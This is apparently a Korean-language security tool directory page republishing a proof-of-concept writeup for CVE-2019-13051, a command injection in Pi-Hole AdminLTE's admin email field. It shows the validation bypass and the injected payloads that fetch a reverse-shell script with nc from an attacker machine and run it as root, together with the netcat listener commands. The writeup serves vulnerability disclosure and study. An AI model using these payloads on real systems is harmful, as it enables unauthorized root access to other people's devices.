Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2019-13051 — Pi-Hole AdminLTE 명령 주입(CVE-2019-13051)에 대한 개념 증명 익스플로잇으로, 이메일 필드 주입 및 cron 기반 실행을 통해 원격 루트 액세스를 가능하게 합니다. | Kitploit
도구/GitHubGitHub/pr0tean/cve-2019-13051
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and Control
GitHubpr0tean/cve-2019-13051

CVE-2019-13051

Pi-Hole AdminLTE 명령 주입(CVE-2019-13051)에 대한 개념 증명 익스플로잇으로, 이메일 필드 주입 및 cron 기반 실행을 통해 원격 루트 액세스를 가능하게 합니다.

저장소 보기
2036년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Pi-Hole < 4.3.2 명령 주입 및 권한 상승 (CVE-2019-13051)

Pi-Hole 버전 4.3.2에는 이 취약점에 대한 패치가 포함되어 있습니다: https://github.com/pi-hole/AdminLTE/pull/974

Pi-Hole 개발팀의 멋진 프로젝트와 이 취약점을 쉽게 보고할 수 있도록 해준 것에 대해 큰 감사를 드립니다!

요약

설명된 "AdminLTE" 구성 요소의 취약점을 통해 원격으로 RaspberryPi 장치(또는 애플리케이션이 실행 중인 다른 장치/VM)에서 루트 액세스를 얻을 수 있습니다. 이를 악용하려면 AdminLTE 웹 인터페이스에 대한 관리자 액세스/자격 증명이 필요합니다.

더 자세히 설명하면, 정규 표현식 검사를 우회하고 "관리자 이메일 주소" 필드에 임의의 명령을 삽입할 수 있습니다. 이 명령은 "/etc/pihole/setupVars.conf"에 저장되며, 이후 10분 간격의 cron.d 작업 "/usr/local/bin/pihole updatechecker local"에서 루트 권한으로 구문 분석되어 실행됩니다.

공격 전제 조건

  1. 관리자 Pi-Hole 웹 애플리케이션(AdminLTE)에 대한 네트워크 연결.
  2. AdminLTE 웹 애플리케이션에 대한 자격 증명 세트.

제한 사항

공격자는 명령/코드 실행을 위해 cron 작업 "/etc/cron.d/pihole"의 10분 간격을 기다려야 합니다.

기술 설명

다음 세부 사항과 PoC가 문제 검증 및 재현에 도움이 되기를 바랍니다.

웹 애플리케이션에 인증되면 공격자가 명령을 성공적으로 주입하기 위해 우회해야 하는 몇 가지 서버 측 검증이 있습니다.

"savesettings.php" L:499에서 사용자 제어 변수 "$adminemail"은 FILTER_VALIDATE_EMAIL 내부 PHP 함수에 대해 평가되며, 이 함수의 검사는 상대적으로 약합니다.

그런 다음 이 검증을 우회하고 명령 주입을 증명할 수 있습니다. 관리자 이메일로 다음을 입력하여 예를 들어 백틱 세트를 큰따옴표로 묶으면 됩니다:

"`test>/tmp/poc_proof.txt`"@example.com

스크린샷 1

10분 이내에 "test"가 포함된 루트 소유 파일이 "/tmp/poc_proof.txt"에 루트 권한으로 생성됩니다.

스크린샷 2

더 의미 있는 공격을 수행하려면 공백(유효한 이메일 문자가 아니며 FILTER_VALIDATE_EMAIL 함수에서 걸러짐)의 제한도 우회해야 합니다. 이를 위해 내부 리눅스 변수 ${IFS}를 사용했습니다 (대부분의 Unix OS에서 기본적으로 공백).

PoC:

*참고: POSIX 셸 문법(예: &&, || ...)을 사용하여 한 줄 명령으로 자동화할 수 있습니다.

  1. 공격용 머신에서 스크립트 전달 메커니즘을 준비하세요. 예: 공격용 머신에서:

nc -nvlp 4444 < revshell.py

  1. "관리자 이메일 주소" 필드에 첫 번째 명령을 제출하여 역방향 셸 파이썬 스크립트를 "/tmp/revshell.py"로 검색 및 저장하도록 트리거합니다:

"`nc${IFS}192.168.1.69${IFS}4444>/tmp/revshell.py`"@example.com

스크린샷 3

HTTP 프록시로 검사하면 HTTP 요청이 다음과 같이 보입니다:

스크린샷 4

cron 작업이 실행되어 스크립트를 가져올 때까지 10분을 기다리거나, 재현 목적으로 수동으로 /usr/local/bin/pihole updatechecker local을 실행하세요. 주입된 명령이 "/etc/pihole/setupVars.conf"에 존재하는지 (ADMIN_EMAIL 변수에 할당된) 확인할 수도 있습니다.

  1. 셸 캐치 서비스를 준비하세요. 예: 공격용 머신에서:

nc -nvlp 4445

  1. 마지막으로 다음을 제출할 수 있습니다:

“`python${IFS}/tmp/revshell.py`”@example.com

10분을 다시 기다리거나 (문제 재현을 위해 cron 스크립트를 수동으로 실행) 공격용 머신에서 루트 셸을 획득합니다.

스크린샷 1

도구 다운로드